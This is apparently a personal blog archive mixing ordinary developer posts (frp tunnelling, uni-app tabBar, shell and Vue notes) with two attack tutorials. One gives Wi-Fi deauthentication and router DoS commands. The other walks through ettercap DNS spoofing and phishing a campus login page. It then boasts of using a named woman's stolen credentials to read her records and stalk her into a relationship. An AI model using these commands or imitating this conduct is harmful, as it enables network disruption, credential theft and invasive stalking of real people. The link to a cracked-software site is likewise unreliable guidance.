醉月思 发布的文章

写在前面

1. 游戏/服务器简介

2019-10-14T08:16:02.png

2. 为什么要这么做?

众所周知,游戏服务器一般来说非常吃性能,对内存和CPU要求颇高。如(方舟:生存进化):

2019-09-30T02:16:40.png

以上是游戏官网原话。但其实我亲测过一下

  • 腾讯云(1核2G)能带两个用户,但是很卡会人物回退(不装mod)。
  • 华为云(2核4G)能装mod,并且不卡,就是启动会很慢。

以上都是在最久的windows系统服务器下测试的,应该和Windows xp同等级的服务器系统,再高就很难启动了,时不时报内存不够。所以,在我的理智思考下,我决定用家用电脑做服务器。

但是在实际搭建过程中,我遇到了一个问题,那就是移动宽带公网IP无解啊!一般没有公网ip的时候,我们第一时间想到的肯定是就是内网穿透了,而且一般游戏服务器使用的是UDP协议,也就是说我们需要搭建一个支持udp协议的内网穿透平台,我第一时间想到了frp

3. 所需设备

  • 具有公网IP的服务器一台(不要问我为什么有公网服务器还用内网穿透的问题,那只能说明你没看懂上面内容)
  • 家用能联网的服务器一台(两台服务器的地理位置尽可能近)

实验环境,我使用的是阿里云的云翼计划(1核2G,5M带宽)

4. 大致思路

就是在本地搭一台服务器,然后做个内网穿透,这样搜索公网IP的那个服务器就可以连接到你本地服务器了。
转发udp: 7777,7778,27015。tcp:27016

注意事项:内网穿透版的在搜索中搜不到,但是可以直接在steam->视图->添加服务器
2020-03-06T03:36:14.png

supervisor是一个守护进程工具

安装

yum install -y supervisor

配置

安装后会生成如下内容

2019-09-03T02:33:19.png

我们查看一下/etc/supervisord.conf,发现文件最后一行

2019-09-03T02:39:38.png

这就是在提示我们把配置文件写supervisord.d目录下的ini文件里。

创建配置文件

  1. 首先切换到supervisord.d目录
  2. touch frps.ini
  3. nano frps.ini
  4. 复制以下内容(示例为运行frps服务端)
[program:frps]
user=root
command=/root/frp/frps/frps -c /root/frp/frps/frps.ini
startsecs=1
startretries=100
autorstart=true
autorestart=true
stderr_logfile=/tmp/err-frps.log
stderr_logfile_maxbytes=50MB
stderr_logfile_backups=10
stdout_logfile=/tmp/out-frps.log
stdout_logfile_maxbytes=50MB
stdout_logfile_backups=10

tips

supervisorctl status //查看状态
supervisorctl reload //重载配置文件

运行

supervisorctl reload
supervisord -c /etc/supervisord.conf

然后再配置好开机自启就OK了

引言:此方法可用作大部分微信小程序支持,但uni-app文档中却找不到相关说明的API

需求

需要在微信小程序中,实现一个中间图标突出显示的异形导航栏。

如下图

2019-08-14T09:17:36.png

实现方法设计

要做这种异形的导航栏,用直接在配置文件里面写list的方法肯定做不到。那么,就有以下两种可替代方法。

  1. 在每一个页面都加载一个tabBar组件,与页面同时渲染。
  2. 设置自定义tabBar,修改tabBar的样式。

优缺点分析:方法1实现起来略为简单,但是会出现代码可重用率低,降低性能,已经界面跳动等问题。方法2则是微信官方提供的,自定义方式,相信在性能方面也会有很大的优势。故选择方法2。

1. 查看文档及官方Demo

官方文档

简要描述一下就是需要在根目录中加入一个custom-tab-bar目录,里面的文件结构与自定义组件的结构一致。然后再在小程序配置文件中修改tabbar为custom模式。

官方代码

主要重点为三个部分

  • 配置文件

配置文件

  • custom-tab-bar目录

2019-08-14T09:25:15.png

  • 页面生命周期中的设置索引方法

2019-08-14T09:26:43.png

这段代码其实很容易理解,pageLifetimes就是监听组件所在页面的生命周期。上述代码就是监听页面显示。当页面显示后,获取到tabBar的对象,然后再设置tabBar中的index索引。

2. 迁移到uni-app框架

上面的方法是使用微信小程序的开发方式,而我使用的是uni-app框架开发微信小程序的。所以我们需要把它们移植到uni-app框架内。

  • 配置文件的修改

uni-app中,page.json被编译为微信小程序的app.json。所以,我们直接修改page.json

page.json所需要的修改

  • custom-tab-bar目录的适配

我们知道,uni-app使用的是类Vue开发,将一个Vue文件编译为四个微信页面文件(wxml,wxss,json,js)。那么,是否可以直接写一个custom-tab-bar.vue的文件呢?刚开始我也是这么想的,后来发现uni-app只会编译page目录和component目录下的vue文件。而微信小程序要求custom-tab-bar必须在项目的根目录下。那么就只能在uni-app下创建一个custom-tab-bar目录,并老老实实写微信四件套了。

custom-tab-bar目录的适配

写完后,uni-app会将该目录完美的复制至微信小程序项目的根目录。
  • tab页面内的适配方法

这个在我实际开发中,是最令我头痛的了。因为微信小程序的this引用与uni-app的this引用并不相同。所以如果直接复制代码是会编译出错的。而另一个问题则是,uni-app并未提供pageLifetimes的事件监听。

在我经过一番摸索之后,发现将设置索引方法写在onShow事件里面,效果是等效的。接下来便只剩下this的问题了。

如果直接复制的话,会出现无任何效果的情况

直接复制设置方法

因为uni-app的this引用不一样,所以它在判断getTabBar的时候,获取的是“undefined”所以不会执行下面的操作。如果你将判断去掉,则会直接报“undefined”错误。

难道实现不了?其实不然,万变不离其宗。uni-app也是编译到小程序的,所以绝对有迹可循。

我们首先看看uni-app里面this的内容。

this的指向内容

我们可以很明显的看到里面有个$mp的对象,说明这应该是微信小程序专用的对象。接下来我们继续分析$mp

$mp的指向内容

这里面有一个隐藏很深的getTabBar方法,我们直接调用它,和在微信小程序里面调用this.getTabBar是等效的。

所以我们就可以把onShow里面的内容写成这样。

设置索引方法

一些优雅点的封装

设置索引方法独立出来

在methods对象中,添加

setTabBarIndex(index){
            if (typeof this.$mp.page.getTabBar === 'function' &&
                this.$mp.page.getTabBar()) {
                this.$mp.page.getTabBar().setData({
                    selected:index
                })
            }
        }

使用mixin避免重复书写复制

main.js中,添加

Vue.mixin({
    methods:{
        setTabBarIndex(index){
            if (typeof this.$mp.page.getTabBar === 'function' &&
                this.$mp.page.getTabBar()) {
                this.$mp.page.getTabBar().setData({
                    selected:index
                })
            }
        }
    }
})

混入后的使用

在页面文件中

onShow() {
            this.setTabBarIndex(0) //index为当前tab的索引
        }
over!

1. 查看网卡

ifconfig

2. 打开网卡混杂模式

airmon-ng start wlan0

3. 嗅探附近AP

airodump-ng wlan0mon

4. 发动deauth攻击使目标重连

aireplay-ng -0 [攻击数量] –a [路由器MAC] -c [客户端MAC] wlan0mon
  1. 攻击数量设为0为无限循环模式
  2. 路口器MAC地址为必填项
  3. 客户端MAC,可不填则对路由器所有的客户端进行攻击

5. 对路由器Dos攻击

sudo mdk3 mon0 a -a D4:83:04:9F:37:28

百度定义

DNS欺骗就是攻击者冒充域名服务器的一种欺骗行为。

百度原理

如果可以冒充域名服务器,然后把查询的IP地址设为攻击者的IP地址,这样的话,用户上网就只能看到攻击者的主页,而不是用户想要取得的网站的主页了,这就是DNS欺骗的基本原理。DNS欺骗其实并不是真的“黑掉”了对方的网站,而是冒名顶替、招摇撞骗罢了。

为什么会有DNS欺骗?

其实DNS欺骗不能叫欺骗,为什么这么说,因为dns解析采取就近原则,意思是说谁能先帮我解析我就听谁的。给你解析一个假的ip就是欺骗。例如本来www.baidu.com 对应ip是202.16.25.78    ,你在本地架设一个dns服务器将www.baidu.com 解析为192.168.100.2 , 这不就等于骗了别人吗。【1】

如何防护DNS欺骗?

360安全卫士号称可以,防护DNS欺骗
2019-07-03T02:36:57.png
经实测:DNS防护并未防护成功,而局域网防护却可以找出攻击者IP,和伪装后的DNS服务器IP。但是却无法实际性的抵御DNS攻击。
2019-07-03T12:32:20.png

被攻击后如何恢复?

  1. 改host文件。
  2. 指定DNS服务器。
  3. 开代理

如何发起攻击?

申明:以下目的只有一个就是学习技术,如果有人利用本文技术进行非法操作带来的后果都是操作者自己承担,和本文以及本文作者没有任何关系。

本文环境

win10 + vmware + kali-linux-2019-02
其实新一代的win10预览版升级的WSL2已经兼容了很多linux网络设备相关操作了,比如Nmap之类的。但是因为WSL的网络连接方式只有NAT模式,这样就不利于我测试了,所以我使用的是vmware虚拟机运行KALI,网络模式如下
2019-07-03T06:21:37.png

1. 查看网络

ifconfig

2019-07-03T06:24:03.png

由上图可以看到,有两个网络连接,一个eth0有线连接,一个lo无线设备。因为我装了外置网卡,所以虚拟机下有无线连接。
确保你已经连上你想要攻击的目标网络。
2019-07-03T06:26:36.png
因为我使用的是有线连接,所以我接下来的操作都是在eth0上操作。

2. 修改DNS文件

vim /etc/ettercap/etter.dns

2019-07-03T06:28:59.png

熟悉host文件的小伙伴一看就明白,这一条条都是DNS解析记录嘛。

我们在文件最后追加

* A 192.168.0.131

这句话的意思就是,将所有的域名都解析到IP地址为192.168.0.131的主机上。而这个是我的kali的本机ip。

3. 发起DNS欺骗

ettercap -Tq -i eth0 -M arp:remote -P dns_spoof /// ///

参数就不解释啦--help就都知道啦,我只讲思路。

2019-07-03T06:34:45.png

如上图DNS欺骗就已经开始了。

4. 局域网断网攻击

因为上面我将所有的域名地址都解析到了,我的本机IP。而我本地却没有搭建任何web服务,这个时候如果用户访问网站都会出现如下图效果。
2019-07-03T06:37:21.png

由于浏览器DNS缓存的问题,此方式可能短期内对近期访问过的网站不起作用。

5. 针对特定网站攻击

假如我对百度很有意见,我见不惯别人使用百度。

vim /etc/ettercap/etter.dns

那么我可以将dns文件修改为

*.baidu.com A 192.168.0.131

这样只要别人访问百度就会出现
2019-07-03T06:37:21.png

但是这样有个问题,这样攻击久了,是个人都会觉得奇怪。百度这么大的公司怎么会长时间访问不了呢?

6. 针对特定网站搭建空壳网站

为了避免被别人怀疑,我需要搭建一个空壳百度。

  • 首先浏览器下载百度首页。
  • 搭建一个静态网站,展示百度首页。
  • 执行DNS欺骗

然后就会出现以下效果
2019-07-03T07:05:08.png
为了区别是我搭建的,我把百度一下改成了小度一下。
但是细心的小伙伴会发现,左上的https变成了红色不安全字样,这是因为我搭建的web服务签不了www.baidu.com证书的原因。我只是随便签了一个HTTPS证书。

7. 针对某些局域网认证上网的账号密码钓鱼

截止目前,我们已经做到了断掉了局域网的网络,并将所有网站跳转至搭建网站的效果。看到这里,有没有觉得很熟悉?对了,妥妥的需认证网络的操作。
接下来我们以家里蹲大学的校园网认证系统为例,模拟一个搭建钓鱼校园网认证系统并盗取密码的过程。

  • 第一步:扒下家里蹲大学认证首页的网页文件

2019-07-03T07:27:53.png

  • 第二步:搭建钓鱼网站
  • 第三步:拦截局域网所有DNS解析请求,将所有网站解析到搭建的钓鱼网站。
  • 第四步:修改表单信息的提交地址
  • 第五步:写一个接收表单数据的接口

8. 模拟中招过程

陈小美吃完饭,到图书馆坐下,想刷会微博。突然发现,微博上不去了。显示的是
2019-07-03T08:51:32.png
对于这个界面,小美一点都不陌生。因为这是即将学校的校园网的认证系统的前兆。小美熟练的输入账号密码。一点也不知道接下来即将发生什么。
2019-07-03T09:20:29.png
然而,在小美提交账号密码的那一刻,我收到了一个好东西。
2019-07-03T10:08:28.png
接下来就是开始表演的时候,我用她的账号登录了以下网站。

  • 学籍信息,看到了她的照片,知道了她的手机号,QQ号,名字,家住何处,家里多少成员,家庭年收入多少,哪个高中毕业。以此来筛选是否符合择偶要求。
  • 教务处,知道了她大几,什么专业,学分绩点多少,选修了什么课程。以此来判断是否有共同的兴趣爱好。
  • 图书馆,了解他是否热爱阅读,喜欢什么类型的书籍。来判断是否处得来。
  • 饭卡消费记录,以此来判断她的消费水平,以及她喜欢在哪里吃饭。来判断是否养得起。
  • 校园论坛,了解她的世界观与价值观,以及是否是个谈吐优雅的女子。判断能否一起面对生活。

然后:我加了她的QQ,以小师弟寻求帮助的名义加了她,先混个脸熟。接着,我开始在QQ空间发一些符合她世界观和价值观的说说,以此来获取她的共鸣。我知道她可能不看QQ空间,但是我保持着几乎每周一次的个性签名更新。并且在个性签名更新后的1-12个小时内随机(使用C++生成随机数)找她聊关于她在图书馆所看书籍的一些想法(我猜她会感兴趣)。这样我可以保证无论她使用哪个平台哪个版本的QQ都可以看到,在她心中种下一颗我是一个与她灵魂相似的人的种子。学期末,我知道她选了什么课程,这门课程什么时候考试。这是一门大学恶梦课程,我知道她肯定要去图书馆复习,所以我借共同复习借口约了她去图书馆。之后的时间,我间歇性的约她去图书馆,因为我深知要想被女生喜欢,千万不可表现过度。一定要保持一个较为舒适的距离,为这颗种子慢慢浇水。但在不约她的时间里,我也会在食堂“偶遇”她,之所以说是“偶遇”,因为我已经对她的饮食习惯分析得一清二楚。几次过后,她会觉得和我好有缘。而其实。。。偶然之中必有必然。我甚至比她还要了解她的习惯,喜好。她觉得我很贴心^-^,但是我到现在还没有告诉她,为什么我们会遇见。看似上天的安排,实则是我的安排。我不去想是否会赢得爱情,既然钟情于玫瑰,就要勇敢的吐露真诚。或许,这便是一种成熟吧!

分享一些个人常用的效率软件

navicat——功能强大的数据库连接软件

navicat界面预览

推荐理由:极具现代化又功能强大的数据库管理软件,远摔那些上古时代软件好几条街

frp——配置容易支持多方式(dns,ssh,http..)的内网穿透软件

frp功能一览

推荐理由:配置只需几秒即可上线,而且支持多种协议,常备测试的好软件。不过需要自己有服务器,不过如果你没有的话。。。。那你还写什么代码?!

Xshell——优雅方便的远程ssh连接软件

Xshell官方介绍

enter description here

推荐理由:Xshell自诩业界最强shh客户端,我觉得它一点也没有夸大,无论从美观还是功能性来看,它都能配上业界最强。

Xftp——同上,优雅的sftp连接软件

index-xftp-3.png

因为和xshell是一家,个人觉得也是个非常方便的软件。

360压缩——无广告的轻便的压缩软件

这个就不介绍了,除了给你右键加了很多菜单外(新版可以改成一个),应该是目前我用过的最舒服的压缩软件了。

typecho——轻量级的博客软件

2019-07-01T13:25:57.png

别看官网极其简陋,但是性能确是极强,再给它换套皮肤,也是可以很好看的,我的博客就是typecho搭建的。

新媒体管家——全网平台文章同步软件(chrome插件)

2019-07-02T10:11:39.png

看,一键全网发布,多爽

V2ray——隐藏身后的**软件(ws+tls+cdn)

这是个啥软件?我不知道。。。自行百度?

宝塔面板——小白都能轻松管理服务器的软件

2019-07-02T10:14:21.png

AppNode——免费优雅的多服务器管理软件

2019-07-02T10:15:14.png
2019-07-02T10:15:39.png

WeGesture——windows下的一款鼠标手势快捷键

2019-07-02T10:16:27.png
我一般用它来管理虚拟桌面,单显示器穷尽所能

小书匠——性感优雅的markdown编辑软件

小书匠

VScode——好看且实用的代码编辑器

2019-07-02T10:19:56.png

Hbuilderx——现在一般用来写微信小程序

2019-07-02T10:21:24.png

用得最爽的代码提示,有种想我所知的感觉

光影魔术手

一个可以一键排版各种证件照的工具

光影魔术手智能排版

ScreenToGif

录屏转gif

RaiDirver

挂载网盘变本地磁盘

附加一些常用网站

墨刀——原型图设计网站

稿定设计——海报设(piao)计(qie)软件

七牛云——国内优秀的内容存储平台

cloudFlare——保护并加速任何线上网站

justmysocks

3d66.com-破解软件集群

remove.bg——快速移除背景图片

本文诞生原因:作为一个程序员,居然不会shell,说起来也尴尬。

基本格式

#!/bin/bash
...

Shell变量

  1. Shell变量定义不需要关键字,直接定义,不要加$。如name = "hello"
  2. Shell变量使用的时候需要加$, 花括号为可选项,但是为了让程序可以分清边界,一般使用花括号。如echo ${name}

只读变量

在前面加readonly
如:

#!/bin/bash
name="Hello"
readonly name

删除变量

在前面加unset
变量被删除后不能再次使用。unset 命令不能删除只读变量。
如:

#!/bin/sh
name="Hello"
unset name

shell获取输入

read - 从标准输入读取数值,命令语法:

read: read [-ers] [-a array] [-d delim] [-i text] [-n nchars] [-N nchars] [-p prompt] [-t timeout] [-u fd] [name ...]
    从标准输入中读取一行。
    
    从标准输入中读取一行, 如果提供 -u 则从文件描述符FD中读取一行。该行数据与单词一样分隔, 第一个单词分给第一个变量,第二个分给第二个变量,依次类推,直至最后一个单词. 只有在$IFS中找到的字符才会被识别为单词分隔符。
    
    如果不提供变量,这一行的读取将被存在REPLY变量中。
    
    Options:
      -a 数组    将读取的单词分配给顺序数组,下标从零开始。
      -d delim    继续读取直到读取DELIM的第一个字符,而不是换行符.
      -e    use Readline to obtain the line in an interactive shell
      -i text    use TEXT as the initial text for Readline
      -n nchars    return after reading NCHARS characters rather than waiting
            for a newline, but honor a delimiter if fewer than
            NCHARS characters are read before the delimiter
      -N nchars    return only after reading exactly NCHARS characters, unless
            EOF is encountered or read times out, ignoring any
            delimiter
      -p prompt    output the string PROMPT without a trailing newline before
            attempting to read
      -r    do not allow backslashes to escape any characters
      -s    do not echo input coming from a terminal
      -t timeout    time out and return failure if a complete line of
            input is not read within TIMEOUT seconds.  The value of the
            TMOUT variable is the default timeout.  TIMEOUT may be a
            fractional number.  If TIMEOUT is 0, read returns
            immediately, without trying to read any data, returning
            success only if input is available on the specified
            file descriptor.  The exit status is greater than 128
            if the timeout is exceeded
      -u fd    read from file descriptor FD instead of the standard input
    
    Exit Status:
    The return code is zero, unless end-of-file is encountered, read times out
    (in which case it's greater than 128), a variable assignment error occurs,
    or an invalid file descriptor is supplied as the argument to -u.

不翻译了,反正都是很简单的英语

在事件处理程序中调用 event.preventDefault() 或 event.stopPropagation() 是非常常见的需求。尽管我们可以在方法中轻松实现这点,但更好的方式是:方法只有纯粹的数据逻辑,而不是去处理 DOM 事件细节。

为了解决这个问题,Vue.js 为 v-on 提供了事件修饰符。之前提过,修饰符是由点开头的指令后缀来表示的。

.stop
.prevent
.capture
.self
.once
.passive

<!-- 阻止单击事件继续传播 -->
<a v-on:click.stop="doThis"></a>

<!-- 提交事件不再重载页面 -->
<form v-on:submit.prevent="onSubmit"></form>

<!-- 修饰符可以串联 -->
<a v-on:click.stop.prevent="doThat"></a>

<!-- 只有修饰符 -->
<form v-on:submit.prevent></form>

<!-- 添加事件监听器时使用事件捕获模式 -->
<!-- 即元素自身触发的事件先在此处理,然后才交由内部元素进行处理 -->
<div v-on:click.capture="doThis">...</div>

<!-- 只当在 event.target 是当前元素自身时触发处理函数 -->
<!-- 即事件不是从内部元素触发的 -->
<div v-on:click.self="doThat">...</div>
使用修饰符时,顺序很重要;相应的代码会以同样的顺序产生。因此,用 v-on:click.prevent.self 会阻止所有的点击,而 v-on:click.self.prevent 只会阻止对元素自身的点击。

2.1.4 新增

<!-- 点击事件将只会触发一次 -->
<a v-on:click.once="doThis"></a>
不像其它只能对原生的 DOM 事件起作用的修饰符,.once 修饰符还能被用到自定义的组件事件上。如果你还没有阅读关于组件的文档,现在大可不必担心。

2.3.0 新增

Vue 还对应 addEventListener 中的 passive 选项提供了 .passive 修饰符。

<!-- 滚动事件的默认行为 (即滚动行为) 将会立即触发 -->
<!-- 而不会等待 `onScroll` 完成  -->
<!-- 这其中包含 `event.preventDefault()` 的情况 -->
<div v-on:scroll.passive="onScroll">...</div>
这个 .passive 修饰符尤其能够提升移动端的性能。
不要把 .passive 和 .prevent 一起使用,因为 .prevent 将会被忽略,同时浏览器可能会向你展示一个警告。请记住,.passive 会告诉浏览器你不想阻止事件的默认行为。

  1. var obj=/ /; 创建正则对象;若为var obj=/ /; 即赋值被注释掉,及运行被结束;
  2. 只能输入零和非零开头的数字,正确的正则表达式是,^(0|[1-9][0-9]*)$
  3. 有关this的
this的行为有时候会显得极其诡异,让人感到困惑,但只需要记住 this的值要等到代码真正执行时才能确定
同时this的值具体有以下几种情况:
  1. new 调用时指的是被构造的对象
  2. call、apply调用,指向我们指定的对象
  3. 对象调用,如执行obj.b(),this指向obj
  4. 默认的,指向全局变量window(相当于执行window.fun())